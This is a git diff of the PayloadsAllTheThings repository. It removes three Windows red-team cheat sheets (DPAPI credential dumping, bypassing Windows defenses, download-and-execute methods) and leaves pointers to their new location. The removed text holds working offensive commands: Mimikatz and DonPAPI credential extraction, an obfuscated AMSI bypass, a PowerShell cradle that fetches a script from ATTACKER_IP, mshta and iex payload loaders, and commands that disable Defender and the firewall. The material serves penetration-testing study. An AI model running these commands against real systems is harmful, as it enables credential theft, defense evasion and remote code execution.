* **Obfuscate** the secrets: passwords, token, ...
* Add **caption** to all figures and pictures.
## References
* [Best Practices for Writing Quality Vulnerability Reports - Krzysztof Pranczk](https://itnext.io/best-practices-for-writing-quality-vulnerability-reports-119882422a27)
* [Overview of technical writing courses - Google Technical Writing](https://developers.google.com/tech-writing/overview)
* [Tools](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#tools)
* [Vulnerability Report Structure](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#vulnerability-report-structure)
* [Vulnerability Details Structure](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#vulnerability-details-structure)
* [General Guidelines](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#general-guidelines)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/#references)

File diff suppressed because one or more lines are too long

View File

@ -1,100 +1,9 @@
# Windows - DPAPI
> On Windows, credentials saved in the Windows Credentials Manager are encrypted using Microsoft's Data Protection API and stored as "blob" files in user AppData folder.
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/evasion/windows-dpapi](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/)
## Summary
* [Data Protection API](#data-protection-api)
* [List Credential Files](#list-credential-files)
* [DPAPI LocalMachine Context](#dpapi-localmachine-context)
* [Mimikatz - Credential Manager & DPAPI](#mimikatz---credential-manager--dpapi)
* [Hekatomb - Steal all credentials on domain](#hekatomb---steal-all-credentials-on-domain)
* [DonPAPI - Dumping DPAPI credz remotely](#donpapi---dumping-dpapi-credz-remotely)
## Data Protection API
* Outside of a domain: the user's `password hash` is used to encrypt these "blobs".
* Inside a domain: the `domain controller's master key` is used to encrypt these blobs.
With the extracted private key of the domain controller, it is possible to decrypt all the blobs, and therefore to recover all the secrets recorded in the Windows identification manager of all the work
stations in the domain.
```ps1
vaultcmd /list
VaultCmd /listcreds:<namevault>|<guidvault> /all
vaultcmd /listcreds:"Windows Credentials" /all
```
### List Credential Files
```ps1
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
### DPAPI LocalMachine Context
The `LocalMachine` context is used to protect data that is intended to be shared across different users or services on a single machine. This means that any user or service running on the machine can access the protected data with the appropriate credentials.
In contrast, the `CurrentUser` context is used to protect data that is intended to be accessed only by the user who encrypted it, and cannot be accessed by other users or services on the same machine.
```ps1
$a = [System.Convert]::FromBase64String("AQAAANCMnd[...]")
$b = [System.Security.Cryptography.ProtectedData]::Unprotect($a, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
[System.Text.Encoding]::ASCII.GetString($b)
```
### Mimikatz - Credential Manager & DPAPI
```powershell
# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
# check the file with mimikatz
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
# find master key
mimikatz !sekurlsa::dpapi
# use master key
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
# find and export backup keys
lsadump::backupkeys /system:dc01.lab.local /export
# use backup keys
dpapi::masterkey /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
```
### Hekatomb - Steal all credentials on domain
> [Processus-Thief/Hekatomb](https://github.com/Processus-Thief/HEKATOMB) is a python script that connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers. Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials.
```python
pip3 install hekatomb
hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
```
![Data in memory](https://github.com/Processus-Thief/HEKATOMB/raw/main/.assets/github1.png)
### DonPAPI - Dumping DPAPI credz remotely
* [login-securite/DonPAPI](https://github.com/login-securite/DonPAPI)
```ps1
DonPAPI.py domain/user:passw0rd@target
DonPAPI.py --hashes <LM>:<NT> domain/user@target
# using domain backup key
dpapi.py backupkeys --export -t domain/user:passw0rd@target_dc_ip
python DonPAPI.py -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list
```
## References
* [DPAPI - Extracting Passwords - HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords)
* [DON PAPI, OU LART DALLER PLUS LOIN QUE LE DOMAIN ADMIN - LoginSecurité - CORTO GUEGUEN - 4 MARS 2022](https://www.login-securite.com/2022/03/04/don-papi-ou-lart-daller-plus-loin-que-le-avec-dpapi/)
* [List Credential Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#list-credential-files)
* [DPAPI LocalMachine Context](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#dpapi-localmachine-context)
* [Mimikatz - Credential Manager & DPAPI](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#mimikatz---credential-manager--dpapi)
* [Hekatomb - Steal all credentials on domain](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#hekatomb---steal-all-credentials-on-domain)
* [DonPAPI - Dumping DPAPI credz remotely](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#donpapi---dumping-dpapi-credz-remotely)

View File

@ -1,421 +1,19 @@
# Windows - Defenses
## Summary
* [AppLocker](#applocker)
* [User Account Control](#user-account-control)
* [DPAPI](#dpapi)
* [Powershell](#powershell)
* [Anti Malware Scan Interface](#anti-malware-scan-interface)
* [Just Enough Administration](#just-enough-administration)
* [Contrained Language Mode](#constrained-language-mode)
* [Script Block Logging](#script-block-logging)
* [Protected Process Light](#protected-process-light)
* [Credential Guard](#credential-guard)
* [Event Tracing for Windows](#event-tracing-for-windows)
* [Windows Defender Antivirus](#windows-defender-antivirus)
* [Windows Defender Application Control](#windows-defender-application-control)
* [Windows Defender Firewall](#windows-defender-firewall)
* [Windows Information Protection](#windows-information-protection)
## AppLocker
> AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups.
* Enumerate Local AppLocker Effective Policy
```powershell
PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
PowerView PS C:\> Get-AppLockerPolicy -effective -xml
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe # (Keys: Appx, Dll, Exe, Msi and Script
```
* AppLocker Bypass
* By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writtable by any users
* [api0cradle/UltimateAppLockerByPassList/Generic-AppLockerbypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)
* [api0cradle/UltimateAppLockerByPassList/VerifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md)
* [api0cradle/UltimateAppLockerByPassList/DLL-Execution.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md)
## User Account Control
UAC stands for User Account Control. It is a security feature introduced by Microsoft in Windows Vista and is present in all subsequent versions of the Windows operating system. UAC helps mitigate the impact of malware and helps protect users by asking for permission or an administrator's password before allowing changes to be made to the system that could potentially affect all users of the computer.
* Check if UAC is enabled
```ps1
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
```
* Check UAC level
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken
```
| EnableLUA | LocalAccountTokenFilterPolicy | FilterAdministratorToken | Description |
|---|---|---|---|
| 0 | / | / | No UAC |
| 1 | 1 | / | No UAC |
| 1 | 0 | 0 | No UAC for RID 500 |
| 1 | 0 | 1 | UAC for Everyone |
* UAC Bypass
* [AutoElevated binary signed by Microsoft](https://www.elastic.co/guide/en/security/current/bypass-uac-via-sdclt.html) - `msconfig`, `sdclt.exe`, `eventvwr.exe`, etc
* [hfiref0x/UACME](https://github.com/hfiref0x/UACME) - Defeating Windows User Account Control
## DPAPI
Refer to [PayloadsAllTheThings/Windows - DPAPI.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20DPAPI.md)
## Powershell
### Anti Malware Scan Interface
> The Anti-Malware Scan Interface (AMSI) is a Windows API (Application Programming Interface) that provides a unified interface for applications and services to integrate with any anti-malware product installed on a system. The API allows anti-malware solutions to scan files and scripts at runtime, and provides a means for applications to request a scan of specific content.
Find more AMSI bypass: [Windows - AMSI Bypass.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md)
```powershell
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
```
### Just Enough Administration
> Just-Enough-Administration (JEA) is a feature in Microsoft Windows Server that allows administrators to delegate specific administrative tasks to non-administrative users. JEA provides a secure and controlled way to grant limited, just-enough access to systems, while ensuring that the user cannot perform unintended actions or access sensitive information.
Breaking out if JEA:
* List available cmdlets: `command`
* Look for non-default cmdlets:
```ps1
Set-PSSessionConfiguration
Start-Process
New-Service
Add-Computer
```
### Constrained Language Mode
Check if we are in a constrained mode: `$ExecutionContext.SessionState.LanguageMode`
* Bypass using an old Powershell. Powershell v2 doesn't support CLM.
```ps1
powershell.exe -version 2
powershell.exe -version 2 -ExecutionPolicy bypass
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"
```
* Bypass when `__PSLockDownPolicy` is used. Just put "System32" somewhere in the path.
```ps1
# Enable CLM from the environment
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
Get-ChildItem -Path Env:
# Create a check-mode.ps1 containing your "evil" powershell commands
$mode = $ExecutionContext.SessionState.LanguageMode
write-host $mode
# Simple bypass, execute inside a System32 folder
PS C:\> C:\Users\Public\check-mode.ps1
ConstrainedLanguage
PS C:\> C:\Users\Public\System32\check-mode.ps1
FullLanguagge
```
* Bypass using COM: [xpn/COM_to_registry.ps1](https://gist.githubusercontent.com/xpn/1e9e879fab3e9ebfd236f5e4fdcfb7f1/raw/ceb39a9d5b0402f98e8d3d9723b0bd19a84ac23e/COM_to_registry.ps1)
* Bypass using your own Powershell DLL: [p3nt4/PowerShdll](https://github.com/p3nt4/PowerShdll) & [iomoath/PowerShx](https://github.com/iomoath/PowerShx)
```ps1
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
rundll32 PowerShx.dll,main -e <PS script to run>
rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console
```
### Script Block Logging
> Once Script Block Logging is enabled, the script blocks and commands that are executed will be recorded in the Windows event log under the "Windows PowerShell" channel. To view the logs, administrators can use the Event Viewer application and navigate to the "Windows PowerShell" channel.
Enable Script Block Loggin:
```ps1
function Enable-PSScriptBlockLogging
{
$basePath = 'HKLM:\Software\Policies\Microsoft\Windows' +
'\PowerShell\ScriptBlockLogging'
if(-not (Test-Path $basePath))
{
$null = New-Item $basePath -Force
}
Set-ItemProperty $basePath -Name EnableScriptBlockLogging -Value "1"
}
```
## Protected Process Light
Protected Process Light (PPL) is implemented as a Windows security mechanism that enables processes to be marked as "protected" and run in a secure, isolated environment, where they are shielded from attacks by malware or other unauthorized processes. PPL is used to protect processes that are critical to the operation of the operating system, such as anti-virus software, firewalls, and other security-related processes.
When a process is marked as "protected" using PPL, it is assigned a security level that determines the level of protection it will receive. This security level can be set to one of several levels, ranging from low to high. Processes that are assigned a higher security level are given more protection than those that are assigned a lower security level.
A process's protection is defined by a combination of the "level" and the "signer". The following table represent commonly used combinations, from [itm4n.github.io](https://itm4n.github.io/lsass-runasppl/).
| Protection level | Value | Signer | Type |
|---------------------------------|------|------------------|---------------------|
| PS_PROTECTED_SYSTEM | 0x72 | WinSystem (7) | Protected (2) |
| PS_PROTECTED_WINTCB | 0x62 | WinTcb (6) | Protected (2) |
| PS_PROTECTED_WINDOWS | 0x52 | Windows (5) | Protected (2) |
| PS_PROTECTED_AUTHENTICODE | 0x12 | Authenticode (1) | Protected (2) |
| PS_PROTECTED_WINTCB_LIGHT | 0x61 | WinTcb (6) | Protected Light (1) |
| PS_PROTECTED_WINDOWS_LIGHT | 0x51 | Windows (5) | Protected Light (1) |
| PS_PROTECTED_LSA_LIGHT | 0x41 | Lsa (4) | Protected Light (1) |
| PS_PROTECTED_ANTIMALWARE_LIGHT | 0x31 | Antimalware (3) | Protected Light (1) |
| PS_PROTECTED_AUTHENTICODE_LIGHT | 0x11 | Authenticode (1) | Protected Light (1) |
PPL works by restricting access to the protected process's memory and system resources, and by preventing the process from being modified or terminated by other processes or users. The process is also isolated from other processes running on the system, which helps prevent attacks that attempt to exploit shared resources or dependencies.
* Check if LSASS is running in PPL
```ps1
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
```
* Protected process example: you can't kill Microsoft Defender even with Administrator privilege.
```ps1
taskkill /f /im MsMpEng.exe
ERROR: The process "MsMpEng.exe" with PID 5784 could not be terminated.
Reason: Access is denied.
```
* Can be disabled using vulnerable drivers (Bring Your Own Vulnerable Driver / BYOVD)
## Credential Guard
When Credential Guard is enabled, it uses hardware-based virtualization to create a secure environment that is separate from the operating system. This secure environment is used to store sensitive credential information, which is encrypted and protected from unauthorized access.
Credential Guard uses a combination of hardware-based virtualization and the Trusted Platform Module (TPM) to ensure that the secure kernel is trusted and secure. It can be enabled on devices that have a compatible processor and TPM version, and require a UEFI firmware that supports the necessary features.
## Event Tracing for Windows
ETW (Event Tracing for Windows) is a Windows-based logging mechanism that provides a way to collect and analyze system events and performance data in real-time. ETW allows developers and system administrators to gather detailed information about system performance and behavior, which can be used for troubleshooting, optimization, and security purposes.
| Name | GUID |
|---------------------------------------|----------------------------------------|
| Microsoft-Antimalware-Scan-Interface | {2A576B87-09A7-520E-C21A-4942F0271D67} |
| Microsoft-Windows-PowerShell | {A0C1853B-5C40-4B15-8766-3CF1C58F985A} |
| Microsoft-Antimalware-Protection | {E4B70372-261F-4C54-8FA6-A5A7914D73DA} |
| Microsoft-Windows-Threat-Intelligence | {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} |
You can see all the providers registered to Windows using: `logman query providers`
```ps1
PS C:\Users\User\Documents> logman query providers
Provider GUID
-------------------------------------------------------------------------------
.NET Common Language Runtime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
ACPI Driver Trace Provider {DAB01D4D-2D48-477D-B1C3-DAAD0CE6F06B}
Active Directory Domain Services: SAM {8E598056-8993-11D2-819E-0000F875A064}
Active Directory: Kerberos Client {BBA3ADD2-C229-4CDB-AE2B-57EB6966B0C4}
Active Directory: NetLogon {F33959B4-DBEC-11D2-895B-00C04F79AB69}
ADODB.1 {04C8A86F-3369-12F8-4769-24E484A9E725}
ADOMD.1 {7EA56435-3F2F-3F63-A829-F0B35B5CAD41}
...
```
We can get more information about the provider using: `logman query providers {ProviderID}/Provider-Name`
```ps1
PS C:\Users\User\Documents> logman query providers Microsoft-Antimalware-Scan-Interface
Provider GUID
-------------------------------------------------------------------------------
Microsoft-Antimalware-Scan-Interface {2A576B87-09A7-520E-C21A-4942F0271D67}
Value Keyword Description
-------------------------------------------------------------------------------
0x0000000000000001 Event1
0x8000000000000000 AMSI/Debug
Value Level Description
-------------------------------------------------------------------------------
0x04 win:Informational Information
PID Image
-------------------------------------------------------------------------------
0x00002084 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00002084 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00001bd4
0x00000ad0
0x00000b98
```
The `Microsoft-Windows-Threat-Intelligence` provider corresponds to ETWTI, an additional security feature that an EDR can subscribe to and identify malicious uses of APIs (e.g. process injection).
```ps1
0x0000000000000001 KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL
0x0000000000000002 KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL_KERNEL_CALLER
0x0000000000000004 KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE
0x0000000000000008 KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE_KERNEL_CALLER
0x0000000000000010 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL
0x0000000000000020 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL_KERNEL_CALLER
0x0000000000000040 KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE
0x0000000000000080 KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE_KERNEL_CALLER
0x0000000000000100 KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL
0x0000000000000200 KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL_KERNEL_CALLER
0x0000000000000400 KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE
0x0000000000000800 KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE_KERNEL_CALLER
0x0000000000001000 KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE
0x0000000000002000 KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE_KERNEL_CALLER
0x0000000000004000 KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE
0x0000000000008000 KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE_KERNEL_CALLER
0x0000000000010000 KERNEL_THREATINT_KEYWORD_READVM_LOCAL
0x0000000000020000 KERNEL_THREATINT_KEYWORD_READVM_REMOTE
0x0000000000040000 KERNEL_THREATINT_KEYWORD_WRITEVM_LOCAL
0x0000000000080000 KERNEL_THREATINT_KEYWORD_WRITEVM_REMOTE
0x0000000000100000 KERNEL_THREATINT_KEYWORD_SUSPEND_THREAD
0x0000000000200000 KERNEL_THREATINT_KEYWORD_RESUME_THREAD
0x0000000000400000 KERNEL_THREATINT_KEYWORD_SUSPEND_PROCESS
0x0000000000800000 KERNEL_THREATINT_KEYWORD_RESUME_PROCESS
```
The most common bypassing technique is patching the function `EtwEventWrite` which is called to write/log ETW events. You can list the providers registered for a process with `logman query providers -pid <PID>`
## Windows Defender Antivirus
Also known as `Microsoft Defender`.
```powershell
# check status of Defender
PS C:\> Get-MpComputerStatus
# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1
# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
# exclude using wmi
PS C:\> WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\Users\Public\wmic"
# remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Windows Defender Application Control
Also known as `WDAC/UMCI/Device Guard`.
> Windows Defender Application Guard, formerly known as Device Guard has the power to control if an application may or may not be executed on a Windows device. WDAC will prevent the execution, running, and loading of unwanted or malicious code, drivers, and scripts. WDAC does not trust any software it does not know of.
* Get WDAC current mode
```ps1
$ Get-ComputerInfo
DeviceGuardCodeIntegrityPolicyEnforcementStatus : EnforcementMode
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus : EnforcementMode
```
* Remove WDAC policies using CiTool.exe (Windows 11 2022 Update)
```ps1
$ CiTool.exe -rp "{PolicyId GUID}" -json
```
* Device Guard policy location: `C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{PolicyId GUID}.cip`
* Device Guard example policies: `C:\Windows\System32\CodeIntegrity\ExamplePolicies\`
* WDAC utilities: [mattifestation/WDACTools](https://github.com/mattifestation/WDACTools), a PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies
* WDAC bypass techniques: [bohops/UltimateWDACBypassList](https://github.com/bohops/UltimateWDACBypassList)
* [nettitude/Aladdin](https://github.com/nettitude/Aladdin) - WDAC Bypass using AddInProcess.exe
## Windows Defender Firewall
* List firewall state and current configuration
```powershell
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
```
* List firewall's blocked ports
```powershell
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
```
* Disable firewall
```powershell
# Disable Firewall via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable Firewall via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" Value'`
# Disable Firewall on any windows using native command
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
```
## Windows Information Protection
Windows Information Protection (WIP), formerly known as Enterprise Data Protection (EDP), is a security feature in Windows 10 that helps protect sensitive data on enterprise devices. WIP helps to prevent accidental data leakage by allowing administrators to define policies that control how enterprise data can be accessed, shared, and protected. WIP works by identifying and separating enterprise data from personal data on the device.
Protection of file (data) locally marked as corporate is facilitated via Encrypting File System (EFS) encryption of Windows (a feature of NTFS file system)
* Enumerate files attributes, `Encrypted` attribute is used for files protected by WIP
```ps1
PS C:\> (Get-Item -Path 'C:\...').attributes
Archive, Encrypted
```
* Encrypt files: `cipher /c encryptedfile.extension`
* Decrypt files: `cipher /d encryptedfile.extension`
The **Enterprise Context** column shows you what each app can do with your enterprise data:
* **Domain**. Shows the employee's work domain (such as, corp.contoso.com). This app is considered work-related and can freely touch and open work data and resources.
* **Personal**. Shows the text, Personal. This app is considered non-work-related and can't touch any work data or resources.
* **Exempt**. Shows the text, Exempt. Windows Information Protection policies don't apply to these apps (such as, system components).
## BitLocker Drive Encryption
BitLocker is a full-disk encryption feature included in Microsoft Windows operating systems starting with Windows Vista. It is designed to protect data by providing encryption for entire volumes. BitLocker uses AES encryption algorithm to encrypt data on the disk. When enabled, BitLocker requires a user to enter a password or insert a USB flash drive to unlock the encrypted volume before the operating system is loaded, ensuring that data on the disk is protected from unauthorized access. BitLocker is commonly used on laptops, portable storage devices, and other mobile devices to protect sensitive data in case of theft or loss.
When BitLocker is in `Suspended` state, boot the system using a Windows Setup USB, and then decrypt the drive using this command: `manage-bde -off c:`
You can check if it is done decrypting using this command: `manage-bde -status`
## References
* [SNEAKING PAST DEVICE GUARD - Cybereason - Philip Tsukerman](https://troopers.de/downloads/troopers19/TROOPERS19_AR_Sneaking_Past_Device_Guard.pdf)
* [PowerShell about_Logging_Windows - Microsoft Documentation](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.3)
* [Do You Really Know About LSA Protection (RunAsPPL)? - itm4n - Apr 7, 2021](https://itm4n.github.io/lsass-runasppl/)
* [Determine the Enterprise Context of an app running in Windows Information Protection (WIP) - 03/10/2023 - Microsoft](https://learn.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/wip-app-enterprise-context)
* [Create and verify an Encrypting File System (EFS) Data Recovery Agent (DRA) certificate - 12/09/2022 - Microsoft](https://learn.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/create-and-verify-an-efs-dra-certificate)
* [DISABLING AV WITH PROCESS SUSPENSION - March 24, 2023 - By Christopher Paschen ](https://www.trustedsec.com/blog/disabling-av-with-process-suspension/)
* [Disabling Event Tracing For Windows - UNPROTECT PROJECT - Tuesday 19 April 2022](https://unprotect.it/technique/disabling-event-tracing-for-windows-etw/)
* [ETW: Event Tracing for Windows 101 - ired.team](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101)
* [Remove Windows Defender Application Control (WDAC) policies - Microsoft - 12/09/2022](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/disable-windows-defender-application-control-policies)
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/evasion/windows-defenses](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/)
* [AppLocker](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#applocker)
* [User Account Control](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#user-account-control)
* [DPAPI](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#dpapi)
* [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#powershell)
* [Anti Malware Scan Interface](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#anti-malware-scan-interface)
* [Just Enough Administration](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#just-enough-administration)
* [Contrained Language Mode](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#constrained-language-mode)
* [Script Block Logging](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#script-block-logging)
* [Protected Process Light](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#protected-process-light)
* [Credential Guard](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#credential-guard)
* [Event Tracing for Windows](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#event-tracing-for-windows)
* [Windows Defender Antivirus](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#windows-defender-antivirus)
* [Windows Defender Application Control](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#windows-defender-application-control)
* [Windows Defender Firewall](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#windows-defender-firewall)
* [Windows Information Protection](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-defenses/#windows-information-protection)

View File

@ -1,122 +1,17 @@
# Windows - Download and execute methods
## Downloaded files location
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/windows-download-execute](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/)
- C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
## Powershell
From an HTTP server
```powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
# Download only
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```
From a Webdav server
```powershell
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
## Cmd
```powershell
cmd.exe /k < \\webdavserver\folder\batchfile.txt
```
## Cscript / Wscript
```powershell
cscript //E:jscript \\webdavserver\folder\payload.txt
```
## Mshta
```powershell
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
```powershell
mshta http://webserver/payload.hta
```
```powershell
mshta \\webdavserver\folder\payload.hta
```
## Rundll32
```powershell
